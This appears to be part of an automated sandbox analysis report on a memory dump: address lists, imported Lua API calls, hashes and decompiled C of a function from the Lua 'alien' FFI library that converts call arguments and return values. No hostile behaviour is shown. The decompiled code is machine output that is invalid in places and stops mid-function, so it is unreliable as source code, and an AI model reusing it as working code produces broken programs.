0x005e21a5
0x005e21a6
0x005e21a7
0x005e21ac
0x005e21af
0x005e21b3
0x005e21b6
0x005e21b9
0x005e21be
0x005e21c1
0x005e21c4
0x005e21c7
0x005e21ca
0x005e21cd
0x005e21cf
0x005e21d2
0x00000000
0x00000000
0x005e20ba
0x005e20ba
0x005e20bf
0x005e20c4
0x005e20c7
0x005e20c8
0x005e20c9
0x005e20ce
0x005e20d1
0x005e20d6
0x005e20d9
0x005e20db
0x005e20de
0x00000000
0x00000000
0x005e2156
0x005e215b
0x005e2160
0x005e2163
0x005e2164
0x005e2165
0x005e216a
0x005e216d
0x005e2171
0x005e2174
0x005e2177
0x005e217c
0x005e217f
0x005e2182
0x005e2185
0x005e2188
0x005e218b
0x005e218d
0x005e2190
0x00000000
0x00000000
0x00000000
0x00000000
0x005e2228
0x005e222d
0x005e2232
0x005e2235
0x005e2236
0x005e2237
0x005e223c
0x005e223f
0x005e2242
0x005e2244
0x005e2247
0x00000000
0x00000000
0x005e224f
0x005e2254
0x005e2259
0x005e225c
0x005e225d
0x005e225e
0x005e2263
0x005e2266
0x005e2269
0x005e226b
0x005e226e
0x00000000
0x00000000
0x005e21da
0x005e21df
0x005e21e4
0x005e21e7
0x005e21e8
0x005e21e9
0x005e21ee
0x005e21f1
0x005e21f3
0x005e21f6
0x005e21f9
0x00000000
0x00000000
0x00000000
0x00000000
0x005e2276
0x005e2276
0x005e227b
0x005e2280
0x005e2283
0x005e2284
0x005e2285
0x005e228a
0x005e228f
0x005e2290
0x005e2291
0x005e22cd
0x005e22d2
0x005e22d7
0x005e22eb
0x005e22ed
0x005e22ee
0x005e22ef
0x005e22f4
0x005e22f7
0x005e22fa
0x005e22fc
0x005e22fe
0x005e2301
0x005e22d9
0x005e22d9
0x005e22dc
0x005e22df
0x005e22e1
0x005e22e3
0x005e22e3
0x005e2293
0x005e2293
0x005e2298
0x005e229d
0x005e22b1
0x005e22b2
0x005e22b3
0x005e22b8
0x005e22bb
0x005e22bd
0x005e22bf
0x005e22c2
0x005e22c5
0x005e229f
0x005e229f
0x005e22a2
0x005e22a4
0x005e22a6
0x005e22a9
0x005e22a9
0x005e229d
0x00000000
0x00000000
0x005e237e
0x005e237e
0x005e2383
0x005e2388
0x005e238b
0x005e238c
0x005e238d
0x005e2392
0x005e2397
0x005e23a9
0x005e23aa
0x005e23ab
0x005e23b0
0x005e23b5
0x005e23d3
0x005e23d4
0x005e23d5
0x005e23da
0x005e23dd
0x005e23df
0x005e23e2
0x005e23e5
0x005e23b7
0x005e23b7
0x005e23b9
0x005e23ba
0x005e23bb
0x005e23c0
0x005e23c3
0x005e23c5
0x005e23c8
0x005e23cb
0x005e23cb
0x005e2399
0x005e2399
0x005e239c
0x005e239e
0x005e23a1
0x005e23a1
0x00000000
0x00000000
0x005e23ed
0x005e23ed
0x005e23ee
0x005e23ef
0x005e23f4
0x005e23f7
0x005e23fc
0x005e23ff
0x005e2406
0x005e240b
0x005e240e
0x005e2411
0x005e2413
0x005e2415
0x005e2418
0x005e241b
0x00000000
0x00000000
0x005e2423
0x005e2423
0x005e2424
0x005e2425
0x005e242a
0x005e242d
0x005e2431
0x005e2434
0x005e2439
0x005e243c
0x005e243f
0x005e2442
0x005e2445
0x005e2448
0x005e244a
0x005e244f
0x005e2452
0x005e2457
0x005e245a
0x005e245d
0x005e245f
0x005e2461
0x005e2464
0x005e2467
0x00000000
0x00000000
0x005e246f
0x005e246f
0x005e2470
0x005e2471
0x005e2476
0x005e2479
0x005e247e
0x005e2481
0x005e2488
0x005e248d
0x005e2490
0x005e2493
0x005e2495
0x005e2497
0x005e249a
0x005e249d
0x00000000
0x00000000
0x005e24a2
0x005e24a2
0x005e24a3
0x005e24a4
0x005e24a9
0x005e24ac
0x005e24ae
0x005e24b6
0x005e24bb
0x005e24be
0x005e24c1
0x005e24c3
0x005e24c5
0x005e24c8
0x005e24cb
0x00000000
0x00000000
0x005e2309
0x005e2309
0x005e230e
0x005e2313
0x005e231b
0x005e2325
0x005e233e
0x005e2348
0x005e235d
0x005e2362
0x005e2363
0x005e2364
0x005e2369
0x005e236c
0x005e236f
0x005e2372
0x005e2374
0x005e2376
0x005e234a
0x005e234a
0x005e234d
0x005e2350
0x005e2353
0x005e2355
0x005e2355
0x005e2327
0x005e2327
0x005e2329
0x005e232c
0x005e232f
0x005e2331
0x005e2331
0x00000000
0x00000000
0x005e2086
0x005e24fd
0x005e24fd
0x005e2500
0x005e2507
0x005e250d
0x005e2753
0x005e2753
0x005e2758
0x005e275a
0x005e275a
0x005e275f
0x005e2760
0x005e2765
0x005e2766
0x005e276b
0x005e276b
0x005e276e
0x005e278a
0x005e2790
0x005e2795
0x005e279d
0x005e27a0
0x005e2843
0x005e2858
0x005e2859
0x005e285a
0x005e2868
0x00000000
0x00000000
0x00000000
0x005e27a6
0x005e27a6
0x005e27af
0x005e27b5
0x00000000
0x00000000
0x005e27bb
0x005e27bb
0x00000000
0x005e27c2
0x005e27c5
0x005e27c7
0x005e27ca
0x005e27cd
0x005e27ce
0x005e27d3
0x005e27d6
0x00000000
0x00000000
0x005e27dc
0x005e27dc
0x005e27df
0x005e27e1
0x005e27e5
0x005e27e7
0x005e27e7
0x005e27ed
0x005e27f0
0x005e27f3
0x005e27f4
0x005e27f9
0x005e27fc
0x00000000
0x00000000
0x005e2818
0x005e2818
0x005e281b
0x005e281e
0x005e2821
0x005e2824
0x005e2827
0x005e282a
0x005e282b
0x005e2830
0x005e2833
0x00000000
0x00000000
0x005e2802
0x005e2802
0x005e2804
0x005e2807
0x005e280a
0x005e280b
0x005e2810
0x005e2813
0x00000000
0x00000000
0x005e2837
0x005e2837
0x005e283a
0x00000000
0x005e27a6
0x005e2513
0x005e2513
0x00000000
0x005e253b
0x005e253b
0x005e253e
0x005e2542
0x005e2547
0x005e254b
0x005e2550
0x005e2554
0x005e2557
0x005e255a
0x005e255d
0x005e2560
0x005e2561
0x00000000
0x00000000
0x005e25bd
0x005e25bd
0x005e25c0
0x005e25c4
0x005e25c4
0x005e25c9
0x005e25cd
0x005e25d2
0x005e25d6
0x005e25d9
0x005e25dc
0x005e25df
0x005e25e2
0x005e25e3
0x00000000
0x00000000
0x005e2594
0x005e2594
0x005e2597
0x005e259b
0x005e259b
0x005e25a0
0x005e25a4
0x005e25a9
0x005e25ac
0x005e25af
0x005e25b2
0x005e25b3
0x00000000
0x00000000
0x005e2623
0x005e2624
0x005e2624
0x005e2628
0x005e262b
0x005e262f
0x005e2633
0x005e2638
0x005e263b
0x00000000
0x00000000
0x005e256b
0x005e256c
0x005e256c
0x005e2570
0x005e2573
0x005e2577
0x005e257b
0x005e2580
0x005e2583
0x005e2586
0x005e2589
0x005e258a
0x00000000
0x00000000
0x005e25ed
0x005e25ee
0x005e25ee
0x005e25f2
0x005e25f5
0x005e25f9
0x005e25fd
0x005e2602
0x005e2605
0x005e2608
0x005e260a
0x005e260c
0x005e260c
0x005e2612
0x005e2615
0x005e2618
0x005e2619
0x00000000
0x00000000
0x005e251a
0x005e2528
0x005e252d
0x005e252e
0x005e2533
0x00000000
0x00000000
0x005e26a0
0x005e26a1
0x005e26a1
0x005e26a5
0x005e26a8
0x005e26ac
0x005e26b0
0x005e26b5
0x005e26b8
0x005e26bb
0x005e26be
0x005e26bf
0x00000000
0x00000000
0x005e26c9
0x005e26c9
0x005e26cc
0x005e26d0
0x005e26d0
0x005e26d5
0x005e26d9
0x005e26de
0x005e26e1
0x005e26e4
0x005e26e7
0x005e26e8
0x00000000
0x00000000
0x005e2640
0x005e2641
0x005e2641
0x005e2645
0x005e2648
0x005e264c
0x005e2650
0x005e2655
0x005e2659
0x005e265c
0x005e265f
0x005e2662
0x005e2665
0x005e2666
0x00000000
0x00000000
0x005e2670
0x005e2671
0x005e2671
0x005e2675
0x005e2678
0x005e267c
0x005e2680
0x005e2685
0x005e2689
0x005e268c
0x005e268f
0x005e2692
0x005e2695
0x005e2696
0x00000000
0x00000000
0x005e26f2
0x005e26f2
0x005e26f5
0x005e26f9
0x005e26f9
0x005e2702
0x005e2707
0x005e270f
0x00000000
0x00000000
0x005e2711
0x005e2711
0x005e2712
0x005e2713
0x005e2718
0x00000000
0x00000000
0x005e2728
0x005e2728
0x005e272b
0x005e272f
0x005e272f
0x005e2738
0x005e273d
0x005e2745
0x005e271d
0x005e271d
0x005e271e
0x005e2723
0x00000000
0x005e2723
0x005e2747
0x005e2747
0x005e2748
0x005e2749
0x005e274e
0x00000000
0x00000000
0x005e2513

APIs

lua_tointeger.LUA5.1 ref: 005E2210
lua_pushnil.LUA5.1(?,?,?,00000000,?,?,?,?,?,?,?,?,?,?,?,?), ref: 005E252E
lua_pushnumber.LUA5.1(?,?,?), ref: 005E2561
lua_pushnumber.LUA5.1(?,?,?,?,?,?,?,?,?,?,?), ref: 005E258A
lua_pushnumber.LUA5.1(?,?,?,?,?,?,?), ref: 005E25B3
lua_pushnumber.LUA5.1(?,?,?,?,?), ref: 005E25E3
lua_pushnumber.LUA5.1(?,?,?,?,?,?,?,?,?), ref: 005E2619
lua_pushnumber.LUA5.1(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 005E2666
lua_pushnumber.LUA5.1(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 005E2696
lua_pushnumber.LUA5.1(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 005E26BF
lua_pushnumber.LUA5.1(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 005E26E8
lua_pushstring.LUA5.1(?,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 005E2713
lua_pushnil.LUA5.1(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 005E271E
lua_pushlightuserdata.LUA5.1(?,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 005E2749
luaL_error.LUA5.1(?,alien: unknown return type (function %s),?), ref: 005E2766
lua_pushnumber.LUA5.1(?), ref: 005E27CE
lua_pushnumber.LUA5.1(?), ref: 005E27F4
lua_pushnumber.LUA5.1(?), ref: 005E280B
lua_pushnumber.LUA5.1(?), ref: 005E282B

Memory Dump Source

Source File: 00000002.00000002.470086883.00000000005E1000.00000020.00020000.sdmp, Offset: 005E0000, based on PE: true

Associated: 00000002.00000002.470056467.00000000005E0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.470120189.00000000005E5000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.470145709.00000000005E7000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.470178146.00000000005E8000.00000002.00020000.sdmp Download File

Similarity

API ID: lua_pushnumber.$lua_pushnil.$L_error.lua_pushlightuserdata.lua_pushstring.lua_tointeger.
String ID:
API String ID: 346420277-0
Opcode ID: d772e6b5450108539df9d68a680b262d8772978759da836c1a08e7b0ecb619b6
Instruction ID: 6fe81f661b50dab61186c606ae8db8538fa48cf64e34de0b31e29aeae3b72d88
Opcode Fuzzy Hash: d772e6b5450108539df9d68a680b262d8772978759da836c1a08e7b0ecb619b6
Instruction Fuzzy Hash: F8B1C6B5D041499BCB08EB95DD89CEEBFB8FF89300F148548F481B720ADA399A15CB75

Uniqueness

Uniqueness Score: -1.00%

Function 005E2228, Relevance: 25.8, APIs: 17, Instructions: 315
COMMON

Download Yara Rule

C-Code - Quality: 78%

			E005E2228(void* __edi, long long __fp0) {
				long long* __ebx;
				void* __esi;
				intOrPtr* _t221;
				signed int _t223;
				char* _t224;
				signed int _t225;
				char* _t226;
				signed int _t237;
				void* _t244;
				void* _t246;
				intOrPtr _t248;
				intOrPtr _t249;
				void* _t268;
				signed int _t269;
				void* _t270;
				void* _t272;
				signed int _t273;
				intOrPtr _t275;
				intOrPtr _t276;
				void* _t277;
				long long _t287;

				L0:
				while(1) {
					L0:
					_t287 = __fp0;
					_t268 = __edi;
					E005E46A0(4);
					 *((intOrPtr*)(_t273 - 8)) = _t275;
					_push(_t244);
					L005E3F68();
					_t221 =  *((intOrPtr*)(_t273 - 8));
					 *_t221 = __fp0;
					_t276 = _t275 + 8;
					 *((intOrPtr*)( *((intOrPtr*)(_t273 - 0xc)) + __edi)) = _t221;
					while(1) {
						L36:
						 *((intOrPtr*)(_t273 - 0xc)) =  *((intOrPtr*)(_t273 - 0xc)) + 4;
						_t244 = _t244 + 1;
						_t116 = _t273 - 0x4c;
						 *_t116 =  *((intOrPtr*)(_t273 - 0x4c)) - 1;
						if( *_t116 == 0) {
							break;
						}
						L1:
						_t248 =  *((intOrPtr*)(_t273 - 0x14));
						_t223 =  *( *((intOrPtr*)(_t273 - 0xc)) +  *((intOrPtr*)(_t248 + 0x30)));
						if(_t223 > 0x11) {
							L33:
							_t224 =  *(_t248 + 8);
							if(_t224 == 0) {
								_t224 = "anonymous";
							}
							_push(_t224);
							_push(_t244);
							_push("alien: parameter %i is of unknown type (function %s)");
							_push(_t271);
							L005E3F26();
							_t276 = _t276 + 0x10;
							continue;
						}
						L2:
						switch( *((intOrPtr*)(_t223 * 4 +  &M005E287C))) {
							case 0:
								L3:
								_t242 = E005E46A0(4);
								 *((intOrPtr*)(_t273 - 8)) = _t276;
								_push(_t244);
								_push(_t271);
								L005E3F68();
								_t276 = _t276 + 8;
								_t243 = E005E45C0(_t242, _t287);
								_t258 =  *((intOrPtr*)(_t273 - 8));
								_t259 =  *((intOrPtr*)(_t273 - 0xc));
								 *_t258 = _t243;
								 *((intOrPtr*)( *((intOrPtr*)(_t273 - 0xc)) + _t268)) = _t258;
								goto L36;
							case 1:
								L6:
								4 = E005E46A0(4);
								 *(__ebp - 8) = __esp;
								_push(__ebx);
								_push(__esi);
								L005E3F68();
								asm("fnstcw word [ebp-0xe]");
								__eax =  *(__ebp - 0xe) & 0x0000ffff;
								__edx =  *(__ebp - 0xc);
								__esp = __esp + 8;
								__eax =  *(__ebp - 0xe) & 0x0000ffff | 0x00000c00;
								 *(__ebp - 0x18) =  *(__ebp - 0xe) & 0x0000ffff | 0x00000c00;
								__eax =  *(__ebp - 8);
								asm("fldcw word [ebp-0x18]");
								asm("fistp dword [ebp-0x18]");
								 *__eax =  *(__ebp - 0x18);
								 *(__edx + __edi) = __eax;
								asm("fldcw word [ebp-0xe]");
								goto L36;
							case 2:
								L5:
								__eax = 4;
								__eax = E005E46A0(4);
								 *(__ebp - 8) = __esp;
								_push(__ebx);
								_push(__esi);
								L005E3F68();
								__esp = __esp + 8;
								__eax = E005E45C0(__eax, __fp0);
								__ecx =  *(__ebp - 8);
								__edx =  *(__ebp - 0xc);
								 *__ecx = __eax;
								 *(__edx + __edi) = __ecx;
								goto L36;
							case 3:
								L8:
								4 = E005E46A0(4);
								 *(__ebp - 8) = __esp;
								_push(__ebx);
								_push(__esi);
								L005E3F68();
								asm("fnstcw word [ebp-0xe]");
								__eax =  *(__ebp - 0xe) & 0x0000ffff;
								__edx =  *(__ebp - 0xc);
								__esp = __esp + 8;
								__eax =  *(__ebp - 0xe) & 0x0000ffff | 0x00000c00;
								 *(__ebp - 0x18) =  *(__ebp - 0xe) & 0x0000ffff | 0x00000c00;
								__eax =  *(__ebp - 8);
								asm("fldcw word [ebp-0x18]");
								asm("fistp qword [ebp-0x1c]");
								__ecx =  *(__ebp - 0x1c);
								 *__eax = __ecx;
								 *(__edx + __edi) = __eax;
								asm("fldcw word [ebp-0xe]");
								goto L36;
							case 4:
								L4:
								__eax = 4;
								__eax = E005E46A0(4);
								 *(__ebp - 8) = __esp;
								_push(__ebx);
								_push(__esi);
								L005E3F68();
								__esp = __esp + 8;
								__eax = E005E45C0(__eax, __fp0);
								__ecx =  *(__ebp - 8);
								 *__ecx = __eax;
								__eax =  *(__ebp - 0xc);
								 *(__eax + __edi) = __ecx;
								goto L36;
							case 5:
								L7:
								4 = E005E46A0(4);
								 *(__ebp - 8) = __esp;
								_push(__ebx);
								_push(__esi);
								L005E3F68();
								asm("fnstcw word [ebp-0xe]");
								__eax =  *(__ebp - 0xe) & 0x0000ffff;
								__edx =  *(__ebp - 0xc);
								__esp = __esp + 8;
								__eax =  *(__ebp - 0xe) & 0x0000ffff | 0x00000c00;
								 *(__ebp - 0x18) =  *(__ebp - 0xe) & 0x0000ffff | 0x00000c00;
								__eax =  *(__ebp - 8);
								asm("fldcw word [ebp-0x18]");
								asm("fistp qword [ebp-0x1c]");
								__ecx =  *(__ebp - 0x1c);
								 *__eax = __ecx;
								 *(__edx + __edi) = __eax;
								asm("fldcw word [ebp-0xe]");
								goto L36;
							case 6:
								goto L33;
							case 7:
								goto L0;
							case 8:
								L11:
								8 = E005E4686(8);
								 *(__ebp - 8) = __esp;
								_push(__ebx);
								_push(__esi);
								L005E3F68();
								__eax =  *(__ebp - 8);
								__edx =  *(__ebp - 0xc);
								 *__eax = __fp0;
								__esp = __esp + 8;
								 *(__edx + __edi) = __eax;
								goto L36;
							case 9:
								L9:
								4 = E005E46A0(4);
								 *(__ebp - 8) = __esp;
								_push(__ebx);
								_push(__esi);
								L005E3F62();
								__ecx =  *(__ebp - 8);
								 *__ecx = __al;
								__eax =  *(__ebp - 0xc);
								__esp = __esp + 8;
								 *(__eax + __edi) = __ecx;
								goto L36;
							case 0xa:
								L10:
								__eax = 4;
								__eax = E005E46A0(4);
								 *(__ebp - 8) = __esp;
								_push(__ebx);
								_push(__esi);
								L005E3F62();
								__ecx =  *(__ebp - 8);
								__edx =  *(__ebp - 0xc);
								 *__ecx = __al;
								__esp = __esp + 8;
								 *(__edx + __edi) = __ecx;
								goto L36;
							case 0xb:
								L12:
								__eax = 4;
								__eax = E005E46A0(4);
								 *(__ebp - 8) = __esp;
								_push(__ebx);
								_push(__esi);
								L005E3F50();
								__esp = __esp + 8;
								_push(__ebx);
								_push(__esi);
								if(__eax == 0) {
									L005E3F4A();
									__esp = __esp + 8;
									if(__eax != 0) {
										_push(0);
										_push(__ebx);
										_push(__esi);
										L005E3F5C();
										__edx =  *(__ebp - 8);
										__ecx =  *(__ebp - 0xc);
										 *__edx = __eax;
										__eax = __edx;
										__esp = __esp + 0xc;
										 *(__ecx + __edi) = __eax;
									} else {
										__edx =  *(__ebp - 8);
										__ecx =  *(__ebp - 0xc);
										 *__edx = __eax;
										__eax = __edx;
										 *(__ecx + __edi) = __eax;
									}
								} else {
									L005E3F4A();
									__esp = __esp + 8;
									if(__eax != 0) {
										_push(__ebx);
										_push(__esi);
										L005E3F0E();
										__ecx =  *(__ebp - 8);
										 *__ecx = __eax;
										__eax = __ecx;
										__ecx =  *(__ebp - 0xc);
										__esp = __esp + 8;
										 *(__ecx + __edi) = __eax;
									} else {
										__ecx =  *(__ebp - 8);
										 *__ecx = __eax;
										__eax = __ecx;
										__ecx =  *(__ebp - 0xc);
										 *(__ecx + __edi) = __eax;
									}
								}
								goto L36;
							case 0xc:
								L24:
								__eax = 4;
								__eax = E005E46A0(4);
								 *(__ebp - 8) = __esp;
								_push(__ebx);
								_push(__esi);
								L005E3F4A();
								__esp = __esp + 8;
								if(__eax != 0) {
									_push(__ebx);
									_push(__esi);
									L005E3F56();
									__esp = __esp + 8;
									if(__eax == 0) {
										_push(__ebx);
										_push(__esi);
										L005E3F0E();
										__ecx =  *(__ebp - 8);
										 *__ecx = __eax;
										__eax =  *(__ebp - 0xc);
										__esp = __esp + 8;
										 *(__eax + __edi) = __ecx;
									} else {
										_push(0);
										_push(__ebx);
										_push(__esi);
										L005E3F5C();
										__ecx =  *(__ebp - 8);
										 *__ecx = __eax;
										__eax =  *(__ebp - 0xc);
										__esp = __esp + 0xc;
										 *(__eax + __edi) = __ecx;
									}
								} else {
									__ecx =  *(__ebp - 8);
									 *__ecx = __eax;
									__eax =  *(__ebp - 0xc);
									 *(__eax + __edi) = __ecx;
								}
								goto L36;
							case 0xd:
								L29:
								_push(__ebx);
								_push(__esi);
								L005E3F68();
								__esp = __esp + 8;
								__eax = E005E45C0(__eax, __fp0);
								__ecx =  *(__ebp - 0x24);
								 *( *(__ebp - 0x24)) = __eax;
								4 = E005E46A0(4);
								__ecx =  *(__ebp - 0x24);
								__edx =  *(__ebp - 0xc);
								__eax = __esp;
								 *__eax = __ecx;
								__ecx = __ecx + 4;
								 *(__edx + __edi) = __eax;
								 *(__ebp - 0x24) = __ecx;
								goto L36;
							case 0xe:
								L30:
								_push(__ebx);
								_push(__esi);
								L005E3F68();
								asm("fnstcw word [ebp-0xe]");
								__eax =  *(__ebp - 0xe) & 0x0000ffff;
								__ecx =  *(__ebp - 0x28);
								__eax =  *(__ebp - 0xe) & 0x0000ffff | 0x00000c00;
								 *(__ebp - 0x18) =  *(__ebp - 0xe) & 0x0000ffff | 0x00000c00;
								__esp = __esp + 8;
								asm("fldcw word [ebp-0x18]");
								asm("fistp qword [ebp-0x1c]");
								__eax =  *(__ebp - 0x1c);
								 *( *(__ebp - 0x28)) =  *(__ebp - 0x1c);
								__eax = 4;
								asm("fldcw word [ebp-0xe]");
								__eax = E005E46A0(4);
								__ecx =  *(__ebp - 0x28);
								__edx =  *(__ebp - 0xc);
								__eax = __esp;
								 *__eax = __ecx;
								__ecx = __ecx + 4;
								 *(__edx + __edi) = __eax;
								 *(__ebp - 0x28) = __ecx;
								goto L36;
							case 0xf:
								L31:
								_push(__ebx);
								_push(__esi);
								L005E3F68();
								__esp = __esp + 8;
								__eax = E005E45C0(__eax, __fp0);
								__ecx =  *(__ebp - 0x2c);
								 *( *(__ebp - 0x2c)) = __al;
								4 = E005E46A0(4);
								__ecx =  *(__ebp - 0x2c);
								__edx =  *(__ebp - 0xc);
								__eax = __esp;
								 *__eax = __ecx;
								__ecx = __ecx + 1;
								 *(__edx + __edi) = __eax;
								 *(__ebp - 0x2c) = __ecx;
								goto L36;
							case 0x10:
								L32:
								_push(__ebx);
								_push(__esi);
								L005E3F68();
								__eax =  *(__ebp - 0x40);
								 *( *(__ebp - 0x40)) = __fp0;
								__esp = __esp + 8;
								4 = E005E46A0(4);
								__ecx =  *(__ebp - 0x40);
								__edx =  *(__ebp - 0xc);
								__eax = __esp;
								 *__eax = __ecx;
								__ecx = __ecx + 8;
								 *(__edx + __edi) = __eax;
								 *(__ebp - 0x40) = __ecx;
								goto L36;
							case 0x11:
								L19:
								__eax = 4;
								__eax = E005E46A0(4);
								 *(__ebp - 8) = __esp;
								__eax = E005E1110(__eax, __ebx, __esi, "alien_callback");
								if(__eax == 0) {
									__eax = E005E1110(__eax, __ebx, __esi, "alien_function");
									if(__eax == 0) {
										_push("alien function or callback expected");
										_push(__ebx);
										_push(__esi);
										L005E3F14();
										__ecx =  *(__ebp - 8);
										__edx =  *(__ebp - 0xc);
										__esp = __esp + 0xc;
										__eax = 0;
										 *__ecx = 0;
										 *(__edx + __edi) = __ecx;
									} else {
										__eax =  *(__eax + 4);
										__ecx =  *(__ebp - 8);
										__edx =  *(__ebp - 0xc);
										 *__ecx = __eax;
										 *(__edx + __edi) = __ecx;
									}
								} else {
									__eax =  *__eax;
									__ecx =  *(__ebp - 8);
									__edx =  *(__ebp - 0xc);
									 *__ecx = __eax;
									 *(__edx + __edi) = __ecx;
								}
								goto L36;
						}
					}
					L37:
					_t249 =  *((intOrPtr*)(_t273 - 0x14));
					 *((intOrPtr*)(_t273 - 0x3c)) = 0;
					_t225 =  *(_t249 + 0xc);
					if(_t225 > 0xc) {
						L58:
						_t226 =  *(_t249 + 8);
						if(_t226 == 0) {
							_t226 = "anonymous";
						}
						_push(_t226);
						_push("alien: unknown return type (function %s)");
						_push(_t271);
						L005E3F26();
						L61:
						_t277 = _t276 + 0xc;
						L62:
						 *((intOrPtr*)(_t273 - 0x24)) =  *((intOrPtr*)(_t273 - 0x24)) +  ~( *(_t273 - 0x48)) * 4;
						 *((intOrPtr*)(_t273 - 0x2c)) =  *((intOrPtr*)(_t273 - 0x2c)) -  *((intOrPtr*)(_t273 - 0x30));
						_t269 = 0;
						 *((intOrPtr*)(_t273 - 0x28)) =  *((intOrPtr*)(_t273 - 0x28)) +  ~( *(_t273 - 0x38)) * 4;
						if( *((intOrPtr*)(_t273 - 0x44)) <= 0) {
							L72:
							_pop(_t270);
							_pop(_t272);
							_pop(_t246);
							return E005E45A4( *((intOrPtr*)(_t273 - 0x30)) +  *((intOrPtr*)(_t273 - 0x34)) +  *(_t273 - 0x38) +  *(_t273 - 0x48) + 1, _t246,  *(_t273 - 4) ^ _t273,  *(_t273 - 0x48), _t270, _t272);
						} else {
							goto L63;
						}
						do {
							L63:
							_t237 =  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t273 - 0x14)) + 0x30)) + _t269 * 4)) + 0xfffffff3;
							if(_t237 > 3) {
								goto L71;
							}
							L64:
							switch( *((intOrPtr*)(_t237 * 4 +  &M005E28F8))) {
								case 0:
									L65:
									asm("fild dword [ecx]");
									_t280 = _t277 - 8;
									 *_t280 = _t287;
									_push(_t271);
									L005E3F80();
									_t277 = _t280 + 0xc;
									 *((intOrPtr*)(_t273 - 0x24)) =  *((intOrPtr*)(_t273 - 0x24)) + 4;
									goto L71;
								case 1:
									L66:
									__edx =  *(__ebp - 0x28);
									__eax =  *__edx;
									asm("fild dword [edx]");
									if(__eax < 0) {
										__fp0 = __fp0 +  *0x5e5878;
									}
									__esp = __esp - 8;
									 *__esp = __fp0;
									_push(__esi);
									L005E3F80();
									__esp = __esp + 0xc;
									 *(__ebp - 0x28) =  *(__ebp - 0x28) + 4;
									goto L71;
								case 2:
									L70:
									__ecx =  *(__ebp - 0x2c);
									__edx =  *__ecx;
									 *(__ebp - 0x18) = __edx;
									__esp = __esp - 8;
									asm("fild dword [ebp-0x18]");
									 *__esp = __fp0;
									_push(__esi);
									L005E3F80();
									__esp = __esp + 0xc;
									 *(__ebp - 0x2c) =  *(__ebp - 0x2c) + 1;
									goto L71;
								case 3:
									L69:
									__fp0 =  *__ebx;
									__esp = __esp - 8;
									 *__esp = __fp0;
									_push(__esi);
									L005E3F80();
									__esp = __esp + 0xc;
									__ebx = __ebx + 8;
									goto L71;
							}
							L71:
							_t269 = _t269 + 1;
						} while (_t269 <  *((intOrPtr*)(_t273 - 0x44)));
						goto L72;
					}
					L38:
					switch( *((intOrPtr*)(_t225 * 4 +  &M005E28C4))) {
						case 0:
							L40:
							__eax =  *(__ebp - 0x14);
							__ecx =  *(__eax + 4);
							__edx = __ebp - 0x20;
							__eax = __eax + 0x10;
							__eax = E005E4130(__ebx, __ebp - 0x20, __edi, __fp0, __eax,  *(__eax + 4), __ebp - 0x20, __edi);
							__edx =  *(__ebp - 0x20);
							 *(__ebp - 0x18) = __edx;
							__esp = __esp + 8;
							asm("fild dword [ebp-0x18]");
							 *__esp = __fp0;
							_push(__esi);
							L005E3F80();
							goto L61;
						case 1:
							L43:
							__eax =  *(__ebp - 0x14);
							__ecx =  *(__eax + 4);
							_t138 = __ebp - 0x20; // -28
							__edx = _t138;
							__eax = __eax + 0x10;
							__eax = E005E4130(__ebx, _t138, __edi, __fp0, __eax,  *(__eax + 4), _t138, __edi);
							__edx =  *(__ebp - 0x20) & 0x0000ffff;
							 *(__ebp - 0x18) = __edx;
							__esp = __esp + 8;
							asm("fild dword [ebp-0x18]");
							 *__esp = __fp0;
							_push(__esi);
							L005E3F80();
							goto L61;
						case 2:
							L42:
							__eax =  *(__ebp - 0x14);
							__ecx =  *(__eax + 4);
							_t135 = __ebp - 0x20; // -28
							__edx = _t135;
							__eax = __eax + 0x10;
							__eax = E005E4130(__ebx, __edx, __edi, __fp0, __eax,  *(__eax + 4), __edx, __edi); // executed
							asm("fild dword [ebp-0x20]");
							__esp = __esp + 8;
							 *__esp = __fp0;
							_push(__esi);
							L005E3F80();
							goto L61;
						case 3:
							L48:
							_t145 = __ebp - 0x20; // -28
							__eax = _t145;
							__eax =  *(__ebp - 0x14);
							__ecx =  *(__eax + 4);
							__eax = __eax + 0x10;
							__eax = E005E4130(__ebx, __edx, __edi, __fp0, __eax,  *(__eax + 4), _t145, __edi);
							asm("fild dword [ebp-0x20]");
							__edx =  *(__ebp - 0x20);
							goto L45;
						case 4:
							L41:
							_t130 = __ebp - 0x54; // -80
							__eax = _t130;
							__eax =  *(__ebp - 0x14);
							__ecx =  *(__eax + 4);
							__eax = __eax + 0x10;
							__eax = E005E4130(__ebx, __edx, __edi, __fp0, __eax,  *(__eax + 4), _t130, __edi);
							asm("fild dword [ebp-0x54]");
							__esp = __esp + 8;
							 *__esp = __fp0;
							_push(__esi);
							L005E3F80();
							goto L61;
						case 5:
							L44:
							_t141 = __ebp - 0x58; // -84
							__eax = _t141;
							__eax =  *(__ebp - 0x14);
							__ecx =  *(__eax + 4);
							__eax = __eax + 0x10;
							__eax = E005E4130(__ebx, __edx, __edi, __fp0, __eax,  *(__eax + 4), _t141, __edi);
							asm("fild dword [ebp-0x58]");
							__edx =  *(__ebp - 0x58);
							L45:
							if(__edx < 0) {
								__fp0 = __fp0 +  *0x5e5878;
							}
							__esp = __esp + 8;
							 *__esp = __fp0;
							_push(__esi);
							L005E3F80();
							goto L61;
						case 6:
							L39:
							E005E4130(_t244, _t259, _t268, _t287,  *((intOrPtr*)(_t273 - 0x14)) + 0x10,  *((intOrPtr*)( *((intOrPtr*)(_t273 - 0x14)) + 4)), 0, _t268);
							_push(_t271);
							L005E3F74();
							_t277 = _t276 + 0x14;
							goto L62;
						case 7:
							L51:
							_t159 = __ebp - 0x50; // -76
							__eax = _t159;
							__eax =  *(__ebp - 0x14);
							__ecx =  *(__eax + 4);
							__eax = __eax + 0x10;
							__eax = E005E4130(__ebx, __edx, __edi, __fp0, __eax,  *(__eax + 4), _t159, __edi);
							__fp0 =  *(__ebp - 0x50);
							__esp = __esp + 8;
							 *__esp = __fp0;
							_push(__esi);
							L005E3F80();
							goto L61;
						case 8:
							L52:
